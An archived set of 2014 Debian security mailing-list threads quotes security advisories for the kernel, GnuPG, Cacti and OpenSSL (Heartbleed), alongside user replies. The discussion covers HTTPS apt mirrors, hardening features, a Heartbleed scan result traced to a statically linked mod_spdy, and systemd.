It's not the first, and it won't be the last. Y'know, if I was a malicious individual I might lurk the Debian security mailing lists until I saw such an announcement, and then wait for a security vulnerability, for example [DSA 2998-1] to be posted thereafter. Deducing that the individual or their organisation ran Debian, I might then scan or probe the domain which issued to vacation mail to ascertain if they were vulnerable. Having all the information I needed to take advantage of the vulnerability in the DSA, I might then attack said individual or their organisation, safe in the knowledge that they would not be back in the office to deal with the problem until August 25th. Such vacation mails would make my job alot easier. IT is fortunate for the senders of such mails that I am not a malicious individual. Best regards, Daniel On 6 Aug 2014, at 09:49, Grond wrote: Bugger, but someone has *reeaally* poor manners. A vacation notice to a mailing list? I mean; really? I do *hope* that we will not be spammed by this until August 25th. (I realize that this rant may not meet minimum notability for this list.) On Tue, Aug 05, 2014 at 08:13:31PM +0200, programac...@sf-informatica.com wrote: Els missatges enviats a aquesta adreça de correu no s'atendran fins al 25 d'agost. Si us plau, si és urgent, posi's en contacte amb urgenc...@sf-informatica.com. Disculpi les molèsties. Los mensajes enviados a esta dirección de correo no se atenderán hasta el 25 de agosto. Por favor, si es urgente, póngase en contacto con urgenc...@sf-informatica.com. Disculpe las molestias. -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/20140805181331.32e066041d...@11vs2.vspain.net -- Attached is my PGP public key. Primary key fingerprint: B7C7 AD66 D9AF 4348 0238 168E 2C53 D8FA 55D8 9FD9 If you have a PGP key (and a minute to spare) please send it in reply to this email. If you have no idea what PGP is, feel free to ignore all this gobbledegook. Mail Attachment -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/646a2551-a655-4620-b57f-46a5cbed4...@noflag.org.uk
Re: [SECURITY] [DSA 2972-1] linux security update
Thank You S. B. very much. now all I have to do; is Buy a new PC. Thanks again, dth On Sun, Jul 6, 2014 at 9:16 AM, Salvatore Bonaccorso car...@debian.org wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA512 - - Debian Security Advisory DSA-2972-1 secur...@debian.org http://www.debian.org/security/ Salvatore Bonaccorso July 06, 2014 http://www.debian.org/security/faq - - Package: linux CVE ID : CVE-2014-4699 Andy Lutomirski discovered that the ptrace syscall was not verifying the RIP register to be valid in the ptrace API on x86_64 processors. An unprivileged user could use this flaw to crash the kernel (resulting in denial of service) or for privilege escalation. For the stable distribution (wheezy), this problem has been fixed in version 3.2.60-1+deb7u1. In addition, this update contains several bugfixes originally targeted for the upcoming Wheezy point release. For the unstable distribution (sid), this problem will be fixed soon. We recommend that you upgrade your linux packages. Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: http://www.debian.org/security/ Mailing list: debian-security-annou...@lists.debian.org -BEGIN PGP SIGNATURE- Version: GnuPG v1 iQIcBAEBCgAGBQJTuW7PAAoJEAVMuPMTQ89EryEP/3iUzWWveiBYU6GCWfFEqUMw 5BBcKFkNsxLbWWMXTpAShO9x1VPOQznddYA1qg5rMqvsNjoQFqKJN7d3tMjzYUi4 wVpYnBCsmskXHXYTlkr/43Iafn7v4J7796X6uZiUpvosqXJr6wBdqwo57KjL4IRc K0YlnmU6PrJ2scEEph/czP+c9o3f5MPGhw8YyHN0GFeQmLAc2JdrAZwKCD5Awloj CCH5Wh34km3v/y4HzBDeBeqxp8s610vre/+Crt4aD/HvAf7Dho/uyw1VR5D8vKHH eHvwVX9JYMAsDAuDd7j4xooTh4l9ts3NVivvLK/flFEj+1lLo+WEhZO+MvNt/lRH XOpHLNltAt7LHQZqh07RqJ/Ggf8ieotqiNSCUJJoJy+3FiVvSIvqYbsA0OmvbVY5 c97dxLJSZMjCnPpkMdn8Xh66HGznHbsmT436nngsoneejSpieViNRH4T9rskJylw 6epCTKW/aLbn2+Avju0b3H7s0teiafhWXfNuIk/q6tuu1WDYuqvhimxs94EVWtFz SynAiszxbjnOAGrvsy0EYM+5Kof/VUvPm2Q7supucXbcsVI3ffyEHKoqukAZhAs6 Lx4m6dYQQ3dzbubalFLBoklVqkIGV3+M6aXrLgdcGa+rRBee1+c4ZRXgHjKVAl2L dcifXWXUR3J/5gJbs2yq =Zy2b -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to debian-security-announce-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/e1x3p6s-0001vj...@master.debian.org
Re: concrete steps for improving apt downloading security and privacy
I don't understand why so much noise on this subject. Https for Debian mirrors and a server centralized, maintained and owned by Debian for debsig-verify / debsums packages it will be enough, at least for the next years. PS: from now on I will filter out any email regarding nsa, debian mirrors or mitm... :) Best regards, Elias On 07/08/2014 01:43 AM, Jeremie Marguerie wrote: On Mon, Jul 7, 2014 at 3:15 PM, Lou RUPPERT hims...@louruppert.com wrote: If I'm looking at a catalog page from a shoe store on my table, connected via the phone network, getting close to my 2G cap for my wireless router for the month. My battery's getting low. Do I want to waste bandwidth and CPU cycles for TLS encoding, just for pictures of shoes? Let's try to turn our focus back to the question at hand, which is whether there are merits to promoting https mirrors for users who have concerns about being watchlisted based on their software choices. I think client cpu cycle and bandwidth concerns are a bit of an anachronism these days anyway. I think you pulled out the only reason why using https for mirrors would be useful. The threat analysis doesn't show any practicable way for the any attacker to prevent alter packages even with control of the network. He could block updates but the client-side would noticed: out-of-date repository and package list, failed to download specific packages. HTTPS is a solution to this risk scenario: A) I don't want anyone to know which package I download (passive listening) B) I don't want a third party to selectively prevent me from downloading a package/update (active man i the middle) Scenario A is more likely to happen or to already be in place. HTTPS in this case is *not* about security but just privacy. 1) Performance concern: The CPU cycles for encrypting is now low enough so that it seems feasible. Not all package providers need to provide https-based repository but having a few of those and give them visibility would be greatly appreciated. 2) TLS certificates: we do not need the package to be behind a debian certificate, just to be behind a certificate trusted by a recognized third party (same requirement as for websites). Since we do not seek authentication of the package but just privacy, we only need to ensure that we talk to the server we wanted to, whichever it is. -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/53bb9ab5.6070...@skin.ro
Re: concrete steps for improving apt downloading security and privacy
On Mon, Jul 07, 2014 at 02:54:15PM -0400, Hans-Christoph Steiner wrote: Do you have another idea for making it difficult for network observers to keep track of the software people are using? Well, you can always mirror the entire repository and configure your server/desktop to use that instead. That way noone can tell for certain which packages you are using, and as a bonus, you have offline access if your internet connection goes down. I am not sure about the size of it though. Do you think it does not matter that governments and companies are tracking the packages that people are downloading? .hc -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/20140708211638.gc24...@noserver.visp.name
Re: [SECURITY] [DSA 2968-1] gnupg2 security update
what should I do with the Above gobble-D-GOOK? even my usb Flashdrives Are wiped!, (not by me!). On Fri, Jun 27, 2014 at 1:14 AM, Salvatore Bonaccorso car...@debian.org wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA512 - - Debian Security Advisory DSA-2968-1 secur...@debian.org http://www.debian.org/security/ Salvatore Bonaccorso June 27, 2014 http://www.debian.org/security/faq - - Package: gnupg2 CVE ID : CVE-2014-4617 Debian Bug : 752498 Jean-Rene Reinhard, Olivier Levillain and Florian Maury reported that GnuPG, the GNU Privacy Guard, did not properly parse certain garbled compressed data packets. A remote attacker could use this flaw to mount a denial of service against GnuPG by triggering an infinite loop. For the stable distribution (wheezy), this problem has been fixed in version 2.0.19-2+deb7u2. For the testing distribution (jessie), this problem has been fixed in version 2.0.24-1. For the unstable distribution (sid), this problem has been fixed in version 2.0.24-1. We recommend that you upgrade your gnupg2 packages. Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: http://www.debian.org/security/ Mailing list: debian-security-annou...@lists.debian.org -BEGIN PGP SIGNATURE- Version: GnuPG v1 iQIcBAEBCgAGBQJTrSUZAAoJEAVMuPMTQ89ExOEP/1Ycmnphx4Quq4BvlIFM8EbR vhH2tfBSUr4VAgik2AkGKOUTaci6qJLrs9Sf4lGnjobTXFn8+BitNiO3AFn2wIq1 eIqosXZxUflNquCvSyfxjid8MuJk7DOzSca8QENlTQfDKk+5LpWGfKM1I2dKSvOh Q4KTfcQU6nM17Epczj6eAUDqGdX+I5qPBJLTD5Cc+t9eOy2Erdaj+NWUc/lBDjgo oQDw/ytZLzI5AwJoc1dAtQR0pEbNlBXrGOs9p1+8VdZ4V7cNjkPJLtsHZj0d+M8o 0/4IsKQEM4Fzu4nrjTiiLDpf2+tYqHMtst9AzY0Hf1gaZAGA0Sdx5Kvts5zBSfz8 WbiKTZvvLqgkWUOdxqIf9/tT6tbr8vkuNPdtcBnvyIM8fb4MiXcBBbhG03fTgvpr f776rjk6Y3IWHp0RhNBn8Lep4YGExzyoKikTqUjQoHcMGVhCBtcAfTnLlCKc8IVz UPyp0gzv1GTrMeZq8riyLckBpBMTf0i8bEncK/0buyBwDevjdFGSUoBh+hsqtktV dUYNTLpSJoqAAbWCqytiPQ7A6VP5IyuXmUcn1vIFTV9gGFsChpIJFQ/Y298X6xM6 u+Z7NhZjcrvfGy+I7Hcv1q1tHQszdvPJZc46dFBKhpupKA+swvg3iG4FbTxNPOH1 kk6B9YFnYI+Nq2zzcyAr =7fez -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to debian-security-announce-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/e1x0ris-ay...@master.debian.org
Re: [SECURITY] [DSA 2970-1] cacti security update
What am I supposed to Download this ONTO? PC I'm ON, is a PUBLIC Library PC. all of MY USB Flash-Drive are Wiped Clean. gobble-D-Gook = incomprehensible Material. On Sun, Jun 29, 2014 at 10:58 AM, Moritz Muehlenhoff j...@debian.org wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - - Debian Security Advisory DSA-2970-1 secur...@debian.org http://www.debian.org/security/Moritz Muehlenhoff June 29, 2014 http://www.debian.org/security/faq - - Package: cacti CVE ID : CVE-2014-2326 CVE-2014-2327 CVE-2014-2328 CVE-2014-2708 CVE-2014-2709 CVE-2014-4002 Multiple security issues (cross-site scripting, cross-site request forgery, SQL injections, missing input sanitising) have been found in Cacti, a web frontend for RRDTool. For the stable distribution (wheezy), these problems have been fixed in version 0.8.8a+dfsg-5+deb7u3. For the testing distribution (jessie), these problems have been fixed in version 0.8.8b+dfsg-6. For the unstable distribution (sid), these problems have been fixed in version 0.8.8b+dfsg-6. We recommend that you upgrade your cacti packages. Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: http://www.debian.org/security/ Mailing list: debian-security-annou...@lists.debian.org -BEGIN PGP SIGNATURE- Version: GnuPG v1 iQIcBAEBAgAGBQJTsFOEAAoJEBDCk7bDfE42Nz0QAJB/n4g/zhKu86yaLNqZQBhR tT1m51OJ9+2tUI96wnA4ZNUlFqCByCG/CjJGDUWoOGGjD6brZ3xufrLyD0SNickv 8XB+Wdbv/N6q0joKD96WtYYQcaLNUlhCGyzFmLLa2bo6n9v+85lNDJINCJt2Y3Wy B6pyVREhfLGyOdwdrMHn/25yZ7jSc+Cd/o03GyJamZMn6gjY3rh2sNAeCbUIq5Oi GFZ9LJvmcHKeSJOm0FFQSFmTrIbLMUb/1/TK2LLAGiHN4fpjkMZsN+vyTgCwgG8y 7sjhz3QizQ6C/PKGpdmhgmbTgJbGdxO6pyzDGpNxVx+q6eGWP6D5NsbIuNQB9Q/4 hG+95CJI8orxdyGtu3UVuW3ZjJOi5h2a2oOT1J+dEHhpmrhNXq9aZ+NtCw8RUzuF pSH4zNwk078PnYn1vKUBrIZhsrRHB1n4I6FjAm1JpFFWfPzJnPQrE3jxRjNALUqj PSyJ3VA54FcHfu/BRj9dqBMFb8zIgOUaO7OOEJ2nsV451IfMHkFtP9uMHSznogaG VP6rC8ue/aAyhSEXaBCj+bOLp6UVc9JNXoVL992tKk7EPQsd3Bim7IZnwyhJukAa qSlAqstZbAlA+khpcYA6Uq1pFkxlj7rnLIGiskHwMALRGBNmSYUXych9q1qjqxyO kfWXzI3r7DFK5U+DqeKs =NbC+ -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to debian-security-announce-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/20140629175803.GA2541@pisco.westfalen.local
Re: Debian mirrors and MITM
On Fri, May 30, 2014 at 11:50:32PM +1000, Alfie John wrote: Several times (public and private) I tried to explain how the download of APT (the binary itself) on an initial Debian install could be compromised via MITM since it's over plaintext. Then the verification of packages could simply be skipped (hence NOP). I'm not sure why you're bringing libc and libgpg into the conversation. Alfie Hello. The thing is: When you download an .iso file, that .iso file also contains a signing key used to verify each package it downloads during the installation. Encryption is not important in this aspect, because what you are downloading is already publicly available and not secret. Everyone can download the same packages as the installer. Those are already public. The important bit is to verify that what you are downloading either manually, or via the installer, hasn't been tampered with. That is verification, and that is what is interesting here. The .iso file already contains a public key, and verifies every package it downloads along the way. You can disable that by hacking a bit in the installer, but it does requires an effort. For the next problem: Some mirror might theoretically have an .iso file which has been tampered with, but you should check the checksum for that file with what you find in the debian web-pages. If you download a .iso file via HTTP, it might have been tampered with, and if someone is intercepting your request for the public key, it might be changed. But i think that would be a problem anyways... -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/20140530141605.GC17668@s1.t11.local
Re: Debians security features: Which are active?
-BEGIN PGP SIGNED MESSAGE- Hash: SHA512 It would however be useful for Debian administrators interested in security to know somehow what these features do, under what circumstances they would be useful, and how to enable them in Debian. I found the Hardening Debian guides on the wiki (linked to earlier) difficult to understand and apply in this regard. Daniel Cédric Lemarchand wrote: Please, honestly, do you know what every features in this list does, how they could be benefit for you and in which way ? Or did your choice will *only* be based on the number of supported/enabled features ? Le 17/05/2014 12:38, herzogbrigit...@t-online.de a écrit : Thank you for all your replies. I understand that the user is important for security, but it's a difference whether you start from scratch or you can work with somethink prebuilt. So, could you tell me, which of the following securit features are enabled in Debian by default and which I have to activate manually: Stack Protector Heap Protector Pointer Obfuscation Stack ASLR Libs/mmap ASLR Exec ASLR brk ASLR VDSO ASLR Built as PIE Built with Fortify Source Built with RELRO Built with BIND_NOW Non-Executable Memory /proc/$pid/maps protection Symlink restrictions Hardlink restrictions ptrace scope 0-address protection /dev/mem protection /dev/kmem disabled Block module loading Read-only data sections Stack protector Module RO/NX Kernel Address Display Restriction Blacklist Rare Protocols Syscall Filtering Block kexec For further information go to https://wiki.ubuntu.com/Security/Features Thank you very much! Brigitte Herzog -Original-Nachricht- Betreff: Debians security features in comparison to Ubuntu Datum: Fri, 16 May 2014 22:04:07 +0200 Von: herzogbrigit...@t-online.de herzogbrigit...@t-online.de An: debian-security@lists.debian.org Hello there, I'm a new user of the great Debian distro for my Desktop. But when I talked to a friend and I told him, that I'm using Debian (Wheezy) for my desktop computer, he told me that I shoudn't use it because it is not secure. He told me to use Ubuntu instead. He explained that with the fact, that Ubuntu has more security features enabled than Debian (also more compiler flags for security) in a fresh install. He gave me a link to the following site: https://wiki.ubuntu.com/Security/Features So, I'm very happy with Debian but because my friend seems to be an expert for Linux, I don't know if I can use Debian. Can you tell me which of the security features promoted by Ubuntu are also enabled in Debian? Thank you very much! Brigitte Herzog Mit einer kostenlosen E-Mail-Adresse @t-online.de werden Ihre Daten verschlüsselt übertragen und in Deutschland gespeichert. www.t-online.de/email-kostenlos -BEGIN PGP SIGNATURE- Version: GnuPG/MacGPG2 v2.0.19 (Darwin) Comment: GPGTools - http://gpgtools.org Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iQEcBAEBCgAGBQJTd0rKAAoJEJhsX8U2K7jUbSAIAI11RQsZyXq38rbbncsh59Vv +7TX+olQ7B6tbQEbJ9pQD85GNjmt1UvEcaoDYmPyPI4NSoX6Y6bgb8QCStEAsgYo ci4HlEatDiaSrj2vzYEqZdpeMYJX09XArZEhtDJTrbGLCF2upu11LlhXVqPbku33 B4gQbIZEzfCUP0S9ZaRt81bsR6UKPji7I5Z8LHr9bTYHRts4JNySnGFxkL5u1FoY WF8xsoRhDfNtI74KcMMJg0okeur7kgQIY2928ZM5O+LLyCutbGlnI17Rv5P0JR8n 5xpnhSsWVlgyvNgPA6agnHz1Ss92DTfE2BEdUSQmM3Imp6B5WCwPoosL/CschUQ= =rkAX -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/53774aca.9080...@noflag.org.uk
RE: [SECURITY] [DSA 2926-1] linux security update
Die CVE-2014-0196 is wel interessant Local kernel DoS || privilege escalation Original message From: Moritz Muehlenhoff j...@debian.org Date: 12/05/2014 17:59 (GMT+01:00) To: debian-security-annou...@lists.debian.org Subject: [SECURITY] [DSA 2926-1] linux security update -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - - Debian Security Advisory DSA-2926-1 secur...@debian.org http://www.debian.org/security/ Moritz Muehlenhoff May 12, 2014 http://www.debian.org/security/faq - - Package : linux CVE ID : CVE-2014-0196 CVE-2014-1737 CVE-2014-1738 CVE-2014-2851 CVE-2014-3122 Several vulnerabilities have been discovered in the Linux kernel that may lead to a denial of service, information leaks or privilege escalation: CVE-2014-0196 Jiri Slaby discovered a race condition in the pty layer, which could lead to denial of service or privilege escalation. CVE-2014-1737 / CVE-2014-1738 Matthew Daley discovered that missing input sanitising in the FDRAWCMD ioctl and an information leak could result in privilege escalation. CVE-2014-2851 Incorrect reference counting in the ping_init_sock() function allows denial of service or privilege escalation. CVE-2014-3122 Incorrect locking of memory can result in local denial of service. For the stable distribution (wheezy), these problems have been fixed in version 3.2.57-3+deb7u1. This update also fixes a regression in the isci driver and suspend problems with certain AMD CPUs (introduced in the updated kernel from the Wheezy 7.5 point release). For the unstable distribution (sid), these problems will be fixed soon. We recommend that you upgrade your linux packages. Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: http://www.debian.org/security/ Mailing list: debian-security-annou...@lists.debian.org -BEGIN PGP SIGNATURE- Version: GnuPG v1 iQIcBAEBAgAGBQJTcO+9AAoJEBDCk7bDfE421QQP/j08SKXHiHXcdZmtcP1ifE9P fBvddKDd9thLxec1bn4VhFDsDMMESvMGV4S62FaAuet7OU8GpX899ctGeZiR4YM6 EKpd86hwWiChs+PPhyEpae9/gX0ZDGJLToE5PyggOa/anpZ39yHT6rDccl/H9rIc OgFE7ru8je/I1jdeOlqdJLZ2YicM/xLy1gF6WwZFvfKUXHbeJ9cnz5VZR/R1aJCb Ys/rj2QjKDaXvDuW+l+ybQOL6nqevH1upFL4u+kkiOk78q2UoJdyYSeKGLrtIYBW 3SRnY8xHNAtHrldzDjXdFaTqd880/ter5l9OXo9zcR8wUojAqWbSDW+0TC/5CmRL oWa72DuCoxdulsmZQZydxB0U87pudsI2Ez5wiXVXfPWD7Ykwad+j/AV3EBaUEKwi hnWt+9IFWgIjnVnDbPbwfUkmzRCa58ewo10alxEq/supTrkAU/5xQbEtejt4MYtq TGy8b51aWg5VYpEze5HrPBPyl2szdOF+j9OhNF08Rh/RMGbzSi3Qamr/xsG1PhBx +93FcjfembChbPihpUQp7by/2xtT3Td1TA1Q7o3vgKk/bdcmsI1JMdPs46H+AFpi xRgd1dxxPpCaTTCgVHkp6uykWhQcW+nI87OEv/Ibxdch+qrlPs4BxxTk9uL0OHGa mlcOLozLVQLTcPYUAGL6 =AqGQ -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to debian-security-announce-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/20140512155945.GA2521@pisco.westfalen.local
Re: [SECURITY] [DSA 2896-1] openssl security update
-BEGIN PGP SIGNED MESSAGE- Hash: SHA512 Dear all, We are very concerned about the 'Heartbeat' security problem which has been discovered with OpenSSL. Thanks to our out-of-date old-stable version of debian, we are using: openssl 0.9.8o-4squeeze14 This page also claims debian 6 (which we use) is unaffected: https://www.digitalocean.com/community/articles/how-to-protect-your-server-against-the-heartbleed-openssl-vulnerability as does the text of the DSA below. However, both of the heartbeat vulnerability checkers we have used have told us that they were able to successfully exploit this vulnerability against our site: http://filippo.io/Heartbleed/#noflag.org.uk https://www.ssllabs.com/ssltest/analyze.html?d=noflag.org.uk What could be going on here? Thanks in advance for all your help, Daniel Salvatore Bonaccorso wrote: - Debian Security Advisory DSA-2896-1 secur...@debian.org http://www.debian.org/security/ Salvatore Bonaccorso April 07, 2014 http://www.debian.org/security/faq - Package: openssl CVE ID : CVE-2014-0160 Debian Bug : 743883 A vulnerability has been discovered in OpenSSL's support for the TLS/DTLS Hearbeat extension. Up to 64KB of memory from either client or server can be recovered by an attacker This vulnerability might allow an attacker to compromise the private key and other sensitive data in memory. All users are urged to upgrade their openssl packages (especially libssl1.0.0) and restart applications as soon as possible. According to the currently available information, private keys should be considered as compromised and regenerated as soon as possible. More details will be communicated at a later time. The oldstable distribution (squeeze) is not affected by this vulnerability. For the stable distribution (wheezy), this problem has been fixed in version 1.0.1e-2+deb7u5. For the testing distribution (jessie), this problem has been fixed in version 1.0.1g-1. For the unstable distribution (sid), this problem has been fixed in version 1.0.1g-1. We recommend that you upgrade your openssl packages. Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: http://www.debian.org/security/ Mailing list: debian-security-annou...@lists.debian.org -BEGIN PGP SIGNATURE- Version: GnuPG/MacGPG2 v2.0.19 (Darwin) Comment: GPGTools - http://gpgtools.org Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iQEcBAEBCgAGBQJTSAmqAAoJEJhsX8U2K7jUaD0H/2FUZIr4qKST1NCAKrgjP53V jQknF8erQrGhUrP1hKE2FckuKJljeUAv6rUEVJCiuEPWmCgL08Eoy1SZuIG2S72q vRbfyYaIz2GKVoGdbkW0GMe963mLUhJ1H5PdcPrsApUZ9AcwQPYKGqLx4/TTrOsB nbr19ELLQbZCfE8SsUuMDpy/bHeF3c9gb5iUhcnpow6KIjzYGKaJfhiV6HxVlkDX krdkegdOUn2wKu/deLoARpMqyz6a7son8YcbQ71/XIogtGnxY0L4T9Nabj4NChB/ ggIu+7x62teyb56vToySrXKF5HaqDE2Bna7cJSlD0ia64ME1yG/4joL93Jt10IY= =kDpQ -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/534809aa.2000...@noflag.org.uk
Re: Aw: Re: [SECURITY] [DSA 2896-1] openssl security update
-BEGIN PGP SIGNED MESSAGE- Hash: SHA512 Thank you all for your help. Mod_spdy has a statically-linked vulnerable version of OpenSSL. After the standard update we are no longer vulnerable. Daniel Estelmann, Christian wrote: Your server talks spdy. Have you upgraded mod_spdy to 0.9.4.2? (for mod_spy you need an Apache HTTP Server 2.4.X, in squeeze there is only 2.2.16 ...) Gesendet: Freitag, 11. April 2014 um 17:26 Uhr Von: daniel dan...@noflag.org.uk An: debian-security@lists.debian.org Cc: - Noflag ad...@lists.noflag.org.uk Betreff: Re: [SECURITY] [DSA 2896-1] openssl security update Dear all, We are very concerned about the 'Heartbeat' security problem which has been discovered with OpenSSL. Thanks to our out-of-date old-stable version of debian, we are using: openssl 0.9.8o-4squeeze14 This page also claims debian 6 (which we use) is unaffected: https://www.digitalocean.com/community/articles/how-to-protect-your-server-against-the-heartbleed-openssl-vulnerability as does the text of the DSA below. However, both of the heartbeat vulnerability checkers we have used have told us that they were able to successfully exploit this vulnerability against our site: http://filippo.io/Heartbleed/#noflag.org.uk https://www.ssllabs.com/ssltest/analyze.html?d=noflag.org.uk What could be going on here? Thanks in advance for all your help, Daniel Salvatore Bonaccorso wrote: - Debian Security Advisory DSA-2896-1 secur...@debian.org http://www.debian.org/security/ Salvatore Bonaccorso April 07, 2014 http://www.debian.org/security/faq - Package: openssl CVE ID : CVE-2014-0160 Debian Bug : 743883 A vulnerability has been discovered in OpenSSL's support for the TLS/DTLS Hearbeat extension. Up to 64KB of memory from either client or server can be recovered by an attacker This vulnerability might allow an attacker to compromise the private key and other sensitive data in memory. All users are urged to upgrade their openssl packages (especially libssl1.0.0) and restart applications as soon as possible. According to the currently available information, private keys should be considered as compromised and regenerated as soon as possible. More details will be communicated at a later time. The oldstable distribution (squeeze) is not affected by this vulnerability. For the stable distribution (wheezy), this problem has been fixed in version 1.0.1e-2+deb7u5. For the testing distribution (jessie), this problem has been fixed in version 1.0.1g-1. For the unstable distribution (sid), this problem has been fixed in version 1.0.1g-1. We recommend that you upgrade your openssl packages. Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: http://www.debian.org/security/ Mailing list: debian-security-annou...@lists.debian.org -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/534809aa.2000...@noflag.org.uk -BEGIN PGP SIGNATURE- Version: GnuPG/MacGPG2 v2.0.19 (Darwin) Comment: GPGTools - http://gpgtools.org Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iQEcBAEBCgAGBQJTSJ6JAAoJEJhsX8U2K7jUalEH/1z4Se3I715yhKe0CKmA67qU ngPQO8OxRmq9NxdWz+S5+htXEoX8MIF0PF6MIqNmN9toMhBEgGObTuG0UlxRgVa7 6T/6JaWm45Ivl3m8t8enwRddunjFWKTU4/M91eOOsdTmGt8Y7CHuYtN3NoPUMVHf vUQeyMuWIawS+HiJl0eXTVb3522jVavnkh/WKOTcHGUeTSBBt95DErG2cldCuIXY Vbru6nsAgNdEwL7dOxpqtsyXNWfCoBJCjsDAZD2nNs1z12Zv0Dx/GHvXf9z2HnH2 3+MIXS2nzgd1+F+tzzNxXlVergp3Q9zLlELckmJwTpvKDrF/hc0eHBYosn2m05k= =N86v -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/53489e89.2070...@noflag.org.uk
Re: Four people decided the fate of debian with systemd. Bad faith likely
On 2 March 2014 10:53:51 WET, Jack j...@jackpot.uk.net wrote: Systemd scares me. As far as I can see it does a lot of things right (in some cases these are things that no other contender does right); I'm not going to try to enumerate those things, that's been one elsewhere. But the way systemd has been designed, in particular the way it has borged dbus and syslog, is a real problem for me. I try to build systems that only run those daemons the system really needs. This is partly for security, and partly because I have several systems that are resource-challenged. Many of those systems have no GUI, and until now needed no dbus. I try to run nothing that depends on polkit or consolekit (it's a coincidence that those components are also Lennart's work). But the systemd approach is to use dbus for all IPC; and dbus is now part of systemd. Dbus is complicated; I don't begin to understand it. SystemD places dbus at the heart of PID1, and that IMO was a questionable technical decision. SystemD isn't just an init system; it also uses the CGROUPs kernel feature to manage user sessions. I don't understand why that functionality was incorporated into the init program. An init system, IMO, should restrict itself to bringing up services. I *really* don't want binary logs. I realise that I can make the new journald pass all log output to a text-based syslog daemon; but then I'm running a journald that I don't need. Similarly I have no need for a logind: even those of my systems that have a GUI are not multi-seat. If only systemd had been designed as a smorgasbord - a set of components designed to work in concert, but each being susceptible to being omitted in favour of its predecessor, then I would have been much less uncomfortable about it. I think it's great that Debian provides the only mainstream platform that supports The Hurd an kFreeBSD kernels, although I don't use them. The choice of systemd as a default init system will inevitably marginalise those kernels in Debian, which I think is sad. I do hope that those working on writing standalone components that implement the various systemd interfaces are successful (and soon). I will probably be sticking with Wheezy/SysV as long as possible, or until the prospects of those efforts becomes clear. I wish I had the chops to contribute to those projects - I believe they have the potential to match the strengths of systemd, while avoiding the birds-nest of dependencies that makes systemd seem such a heavy, take-it-or-leave-it deal. Of course, the CTTE's decision concerned the *default* init system for Jessie. Other init systems will continue to be packaged. So it's not an apocalypse. But systemd does *so much*, and so many other distros have decided to adopt it, that I fear that applications will come to rely on its features; the other init systems will be marginalised, and eventually wither. We will then all become dependent on Red Hat for a large part of our critical infrastructure. Red Hat is a billion-dollar commercial operation, with goals that are very different from Debian's. So I fear the CTTE's decision may in time come to harm the Debian project. I am also only a Debian user and I don't know much about the matter, but if I understand correctly systemd is a drop in replacement for sysV, which has a lot more functionalities but works fine with sysV initscrits. Wouldn't it be possible, in the future, to write a replacement to systemd which works fine with the systemd configuration, but that doesn't have most of those problems that systemd has? -- Sent from my Android device with K-9 Mail. Please excuse my brevity. -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/407a788a-4d3f-480a-ad6e-509d2a2ef...@email.android.com
Re: [SECURITY] [DSA 2856-1] libcommons-fileupload-java security update
